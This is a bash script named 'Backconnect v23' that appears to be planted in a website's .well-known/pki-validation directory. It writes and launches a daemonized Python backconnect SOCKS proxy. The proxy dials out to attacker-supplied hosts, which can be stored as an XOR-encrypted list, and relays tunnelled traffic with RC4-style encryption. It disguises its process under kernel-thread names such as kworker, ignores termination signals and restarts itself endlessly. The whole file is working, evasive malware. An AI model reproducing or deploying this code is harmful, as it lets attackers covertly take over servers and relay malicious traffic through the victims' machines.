/home/fdhrevqn/new.fdhrd.org/.well-known/pki-validation/fileupload
#!/bin/bash
# Backconnect v23 - Full daemonize (based on v22)
N="bcksocks";D=3;PD=""

ENC_DATA="7e4f7d5756474b4d734b48040209794d604550444b467e5057080a1d7c4c625f5746565478535703070663406b4b5247574e7f514a110105634b66504d4b5d5a7a504a0b06077e5960534d405041655c411f0306794367515052564265574c041c0a755762505648514078454a071c01784c7d5c5b5c54417d5f4d0501137e4f7d5756474b4d734b48040509794d604550444b467e5057080a1d7c4c6b5f5746565478535703070663406b4b52475c4e7f514a110105634b66504d4b5d5a7a53490b06077e5960534d405041655c411f03057c4367515052564265574c041c0a755762535148514078454a071c01784c7d5c5b5c5442785f4d0501137e4f7d5756474b4d734b48070609794d604550444b467e5057080a1d7c4f665f5746565478535703070663406b4b5244534e7f514a110105634b66504d4b5d5a7a534e0b06077e5960534d405041655c411f0305754367515052564265574c041c0a755762535a48514078454a071c01784c7d5c5b5c54437b5f4d0501137e4f7d5756474b4d734b48060309794d604550444b467e5057080a1d7c4e615f5746565478535703070663406b4b5245564e7f514a110105634b66504d4b5d5a7a524d0b06077e5960534d405041655c411f0304784367515052564265574c041c0a755762525548514078454a071c01784c7d5c5b5c54437c5f4d0501137e4f7d5756474b4d734b48060a09794d604550444b467e5057080a1d7c4e6a5f5746565478535703070663406b4b524a554e7f514a110105634b66504d4b5d5a7a5d480b06077e5960534d405041655c411f030b7f4367515052564265574c041c0a7557625d5048514078454a071c01784c7d5c5b5c544c7f5f4d0501137b4b7d53535c54477a4b48060a09794d604555404b427b4b4802031d7c4e6a5f574656547d575707021d7c4a624b524a554e7f514a110401634f634b5241545a7a5d480b06077e5965574d44555a7a56481f030b7f436751505253466553491f03007c57625d5048514078454f031c057d576256525c544c7f5f4d0501137b4b7d53535c54477a4b48090709794d604555404b427b4b4802031d7c41655f574656547d575707021d7c4a624b524a524e7f514a110401634f634b5241545a7a5d410b06077e5965574d44555a7a56481f030b74436751505253466553491f03007c57625c5348514078454f031c057d576256525c544d7a5f4d0501137b4b7d53535c54477a4b48080009794d604555404b427b4b4802031d7c40605f574656547d575707021d7c4a624b524b514e7f514a110401634f634b5241545a7a5c4c0b06077e5965574d44555a7a56481f030a7b436751505253466553491f03007c57625c5448514078454f031c057d576256525c544d735f4d0501137b4b7d53535c54477a4b48080b09794d604555404b427b4b4802031d7f49635f574656547d575707021d7c4a624b5142544e7f514a110401634f634b5241545a79554b0b06077e5965574d44555a7a56481f00037e436751505253466553491f03007c5761555748514078454f031c057d576256525c57447e5f4d0501137b4b7d53535c54477a4b4b040109794d60"


find_writable() {
    for d in /tmp /var/tmp /dev/shm /run "$HOME"; do
        [ -d "$d" ] && [ -w "$d" ] && { echo "$d/.$N"; return; }
    done
    echo "./.$N"
}

PD="$(find_writable)"

fp() { 
    # SAFE: only python processes by interpreter + path, no network search
    pgrep -f "python.*$PD.*$1.*$2" 2>/dev/null
}

kt() { fp "$1" "$2" | sort -u | xargs -r kill -9 2>/dev/null; sleep 0.3; }

ka(){ 
    # SAFE: only kill python with our path
    pgrep -f "python.*$PD" 2>/dev/null | xargs -r kill -9 2>/dev/null
    rm -rf "$PD"
    echo "Done"
    exit 0
}

st(){ 
    echo "Status:"
    [ -d "$PD" ] || { echo " None"; exit 0; }
    for f in "$PD"/*.pid; do 
        [ -f "$f" ] || continue
        p=$(cat "$f")
        n=$(basename "$f" .pid)
        kill -0 "$p" 2>/dev/null && echo " + $n ($p)" || echo " - $n"
    done
    exit 0
}

xc() { 
    local k="$1"
    local d="$2"
    local o="" i=0
    local kl="${#k}"
    [ "$kl" -eq 0 ] && { echo ""; return; }
    while [ $i -lt ${#d} ]; do
        local dc="${d:$i:2}"
        [ ${#dc} -lt 2 ] && break
        local db=$((16#$dc))
        local ki=$((i/2%kl))
        local kb=$(printf '%d' "'${k:$ki:1}")
        local xb=$((db^kb))
        o+=$(printf '%02x' $xb)
        i=$((i+2))
    done
    echo "$o"
}

s2h() { local s="$1" o="" i; for ((i=0;i<${#s};i++)); do o+=$(printf '%02x' "'${s:$i:1}"); done; echo "$o"; }
h2s() { local h="$1" o="" i; for ((i=0;i<${#h};i+=2)); do o+=$(printf "\\x${h:$i:2}"); done; echo -e "$o"; }
enc_srv() { local k="$1"; shift; echo "ENC_DATA=\"$(xc "$k" "$(s2h "$*")")\""; }
dec_srv() { [ -z "$2" ] && return; h2s "$(xc "$1" "$2")"; }

spawn() {
    local host="$1" port="$2" id="$3"
    mkdir -p "$PD" 2>/dev/null
    local pidf="$PD/${id}.pid"
    local pyf="$PD/${id}.py"
    
    cat > "$pyf" << PYEND
import socket,select,threading,queue,random,time,os,sys,signal,gc

# === DAEMONIZE ===
def daemonize(pidfile):
    # First fork
    pid = os.fork()
    if pid > 0:
        sys.exit(0)
    
    # Create new session
    os.setsid()
    
    # Second fork (prevent acquiring terminal)
    pid = os.fork()
    if pid > 0:
        sys.exit(0)
    
    # Change working directory
    try:
        os.chdir('/')
    except:
        pass
    
    # Reset umask
    os.umask(0)
    
    # Close all file descriptors
    import resource
    maxfd = resource.getrlimit(resource.RLIMIT_NOFILE)[1]
    if maxfd == resource.RLIM_INFINITY:
        maxfd = 1024
    for fd in range(3, min(maxfd, 256)):
        try:
            os.close(fd)
        except:
            pass
    
    # Redirect stdin/stdout/stderr to /dev/null
    sys.stdin.close()
    sys.stdout.close()
    sys.stderr.close()
    sys.stdin = open('/dev/null', 'r')
    sys.stdout = open('/dev/null', 'w')
    sys.stderr = open('/dev/null', 'w')
    
    # Write PID file
    if pidfile:
        try:
            with open(pidfile, 'w') as f:
                f.write(str(os.getpid()))
        except:
            pass

# === MASK PROCESS NAME ===
def mask_process():
    names = ['kworker','migration','ksoftirqd','watchdog','cpuhp','rcu_sched',
             'kblockd','kswapd','khugepaged','scsi_eh','bioset','kdmflush',
             'kthreadd','oom_reaper']
    suffix = ['','/0','/1','/2','/0:0','/0:1','/1:0','/0:1H',':0',':1']
    pn = random.choice(names) + random.choice(suffix)
    
    try:
        import ctypes
        libc = ctypes.CDLL('libc.so.6')
        libc.prctl(15, pn.encode(), 0, 0, 0)
    except:
        pass
    
    try:
        with open('/proc/self/comm', 'wb') as f:
            f.write(pn.encode()[:15])
    except:
        pass

H,P='${host}',${port}
PF='${pidf}'

# Daemonize first, then mask
daemonize(PF)
mask_process()

# Ignore signals
for s in [1, 2, 13, 15]:
    try:
        signal.signal(s, signal.SIG_IGN)
    except:
        pass

x=bytearray([int(random.random()*255) for _ in range(50)])

def rc4(p,b,s,z):
    L=len(p)
    for i in range(z):b[s+i]^=p[i%L]
    r=list(range(256));j=0
    for i in range(256):j=(j+r[i]+p[i%L])&255;r[i],r[j]=r[j],r[i]
    i=j=0
    for k in range(z):
        i=(i+1)&255;j=(j+r[i])&255;r[i],r[j]=r[j],r[i]
        b[s+k]^=r[(r[i]+r[j])&255]
    for i in range(z):b[s+i]^=p[i%L]

SS=None
SQ=queue.Queue()
ALIVE=True

def sender():
    global ALIVE
    while ALIVE:
        try:
            d=SQ.get(timeout=1)
            if d is None:break
            if SS:SS.sendall(d)
        except queue.Empty:
            continue
        except:
            ALIVE=False
            break

def ssend(d):
    try:
        SQ.put(d)
        return 1
    except:
        return 0

sa=[0]*200
sk=[None]*200
sq=[None]*200
se=[None]*200
aL=threading.Lock()

def worker(n,cs,b0):
    global sa,sk,sq,se
    r=bytearray([n,10,0,5,1,0,1,0,0,0,0,0,0])
    ok=0
    wq=queue.Queue()
    ev=threading.Event()
    
    try:
        if b0[7]==3:
            dl=b0[8];dom=b0[9:9+dl].decode('latin-1');pt=(b0[9+dl]<<8)|b0[9+dl+1]
        elif b0[7]==1:
            dom=f"{b0[8]}.{b0[9]}.{b0[10]}.{b0[11]}";pt=(b0[12]<<8)|b0[13]
        else:
            raise Exception("bad addr")
        
        cs.setsockopt(socket.IPPROTO_TCP,socket.TCP_NODELAY,1)
        cs.setsockopt(socket.SOL_SOCKET,socket.SO_RCVBUF,262144)
        cs.setblocking(False)
        try:cs.connect((dom,pt))
        except BlockingIOError:pass
        except OSError as e:
            if e.errno not in (115,36,10035):raise
        
        _,w,_=select.select([],[cs],[],10)
        if w and cs.getsockopt(socket.SOL_SOCKET,socket.SO_ERROR)==0:
            cs.setblocking(True)
            cs.settimeout(30)
            with aL:
                sa[n]=1
                sk[n]=cs
                sq[n]=wq
                se[n]=ev
            r[4]=0
            ok=1
        else:
            raise Exception("connect failed")
    except:
        try:cs.close()
        except:pass
    
    rc4(x,r,0,3);rc4(x,r,3,10)
    ssend(bytes(r))
    
    if ok:
        c=cs
        c.setblocking(False)
        
        while ALIVE:
            with aL:
                if sa[n]!=1:break
            
            try:
                rl,wl,_=select.select([c],[c],[],0.05)
                
                if wl:
                    while True:
                        try:
                            d=wq.get_nowait()
                            c.sendall(d)
                        except queue.Empty:
                            break
                        except:
                            break
                
                if rl:
                    try:
                        d=c.recv(65530)
                        if not d:break
                        buf=bytearray([n,len(d)&255,(len(d)>>8)&255])+bytearray(d)
                        rc4(x,buf,0,3);rc4(x,buf,3,len(d))
                        ssend(bytes(buf))
                    except BlockingIOError:
                        pass
                    except:
                        break
                
                if not rl and wq.empty():
                    ev.wait(timeout=0.5)
                    ev.clear()
                    
            except:
                break
    
    with aL:
        sa[n]=0
        sk[n]=None
        sq[n]=None
        se[n]=None
    try:cs.close()
    except:pass
    
    r[1]=r[2]=0
    rc4(x,r,0,3)
    ssend(bytes(r[:3]))

def main():
    global SS,sa,sk,sq,se,ALIVE
    ALIVE=True
    rm=r4=ebx=edx=0
    b0=bytearray()
    bn=bytearray(3)
    ex=0
    gc_time=time.time()
    
    try:
        SS=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        SS.setsockopt(socket.IPPROTO_TCP,socket.TCP_NODELAY,1)
        SS.setsockopt(socket.SOL_SOCKET,socket.SO_KEEPALIVE,1)
        SS.setsockopt(socket.SOL_SOCKET,socket.SO_SNDBUF,524288)
        SS.setsockopt(socket.SOL_SOCKET,socket.SO_RCVBUF,262144)
        SS.connect((H,P))
        
        st=threading.Thread(target=sender,daemon=True)
        st.start()
        
        hs=bytearray(100)
        hs[:50]=x;hs[50]=255;hs[51]=255;hs[54:60]=b"Python"
        rc4(x,hs,50,50)
        SS.sendall(bytes(hs))
        
        while ALIVE:
            if time.time()-gc_time>30:
                gc.collect()
                gc_time=time.time()
            
            if r4<4:
                rl,_,_=select.select([SS],[],[],60)
                
                if not rl:
                    if bn==bytearray(3) and rm==0 and r4==0:
                        ka=bytearray(3)
                        rc4(x,ka,0,3)
                        ssend(bytes(ka))
                    continue
                
                d=SS.recv(4-r4)
                if not d:break
                b0.extend(d);r4+=len(d);bn=bytearray(3)
                
                if r4==4:
                    rc4(x,b0,0,4)
                    ebx=b0[1];edx=b0[2]|(b0[3]<<8)
            
            if r4==4:
                if edx==0:
                    if len(b0)>=2 and b0[0]==255 and b0[1]==254:
                        ex=1;break
                    if 0<ebx<200:
                        with aL:
                            sa[ebx]=0
                            c=sk[ebx]
                            sk[ebx]=None
                            sq[ebx]=None
                            se[ebx]=None
                        if c:
                            try:c.close()
                            except:pass
                    r4=0;b0=bytearray()
                else:
                    need=edx-rm
                    if need>0:
                        d=SS.recv(min(need,131072))
                        if not d:break
                        b0.extend(d);rm+=len(d)
                    
                    if rm==edx:
                        rc4(x,b0,4,rm)
                        if b0[0]==0:
                            cs=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
                            t=threading.Thread(target=worker,args=(ebx,cs,bytes(b0)),daemon=True)
                            t.start()
                        else:
                            with aL:
                                wq=sq[ebx] if sa[ebx]==1 else None
                                ev=se[ebx]
                            if wq:
                                try:
                                    wq.put_nowait(bytes(b0[4:4+rm]))
                                    if ev:ev.set()
                                except:
                                    pass
                        rm=0;r4=0;b0=bytearray()
    except:
        pass
    
    ALIVE=False
    try:SQ.put(None)
    except:pass
    
    try:SS.close()
    except:pass
    
    with aL:
        for i in range(200):
            sa[i]=0
            c=sk[i]
            sk[i]=None
            sq[i]=None
            e=se[i]
            se[i]=None
            if c:
                try:c.close()
                except:pass
            if e:
                try:e.set()
                except:pass
    
    gc.collect()
    time.sleep(10)
    if ex:sys.exit(0)

while 1:
    try:main()
    except:time.sleep(10)
PYEND

    chmod +x "$pyf"
    python3 "$pyf" &
    sleep 1
    [ -f "$pidf" ] && pid=$(cat "$pidf") && kill -0 "$pid" 2>/dev/null && return 0
    return 1
}

ir() { fp "$1" "$2" 2>/dev/null | grep -q .; }

SRV=();FORCE=0
case "${1:-}" in
-h|--help)
    echo "Usage: $0 [-f] srv:port..."
    echo "  -e KEY srv:port...  Encrypt"
    echo "  -d KEY [-f]         Decrypt+run"
    echo "  -k / -s             Kill/Status"
    exit 0
    ;;
-k) ka ;;
-s) st ;;
-e)
    [ -z "$2" ] && { echo "Need KEY"; exit 1; }
    K="$2"; shift 2
    [ $# -eq 0 ] && { echo "Need servers"; exit 1; }
    enc_srv "$K" "$@"
    exit 0
    ;;
-d)
    [ -z "$2" ] && { echo "Need KEY"; exit 1; }
    K="$2"; shift 2
    [ "${1:-}" = "-f" ] && { FORCE=1; shift; }
    [ -z "$ENC_DATA" ] && { echo "No encrypted data"; exit 1; }
    DE=$(dec_srv "$K" "$ENC_DATA")
    [ -z "$DE" ] && { echo "Decryption failed"; exit 1; }
    for s in $DE; do [[ "$s" == *:* ]] && SRV+=("$s") || SRV+=("$s:443"); done
    ;;
-f)
    FORCE=1; shift
    for a in "$@"; do [[ "$a" == *:* ]] && SRV+=("$a") || SRV+=("$a:443"); done
    ;;
*)
    for a in "$@"; do [[ "$a" == *:* ]] && SRV+=("$a") || SRV+=("$a:443"); done
    ;;
esac

[ ${#SRV[@]} -eq 0 ] && { echo "No servers. Use -h"; exit 1; }
command -v python3 &>/dev/null || { echo "python3 required"; exit 1; }

mkdir -p "$PD"; c=0
for s in "${SRV[@]}"; do
    h="${s%:*}"; p="${s#*:}"; id="${h}_${p}"
    c=$((c+1))
    
    if ir "$h" "$p"; then
        if [ "$FORCE" = "1" ]; then
            printf "[$c/${#SRV[@]}] $h:$p replacing... "
            kt "$h" "$p"
        else
            echo "[$c/${#SRV[@]}] $h:$p running (use -f)"
            [ "$c" -lt "${#SRV[@]}" ] && sleep "$D"
            continue
        fi
    else
        printf "[$c/${#SRV[@]}] $h:$p "
    fi
    
    spawn "$h" "$p" "$id" && echo "OK" || echo "FAIL"
    [ "$c" -lt "${#SRV[@]}" ] && sleep "$D"
done
echo "Done"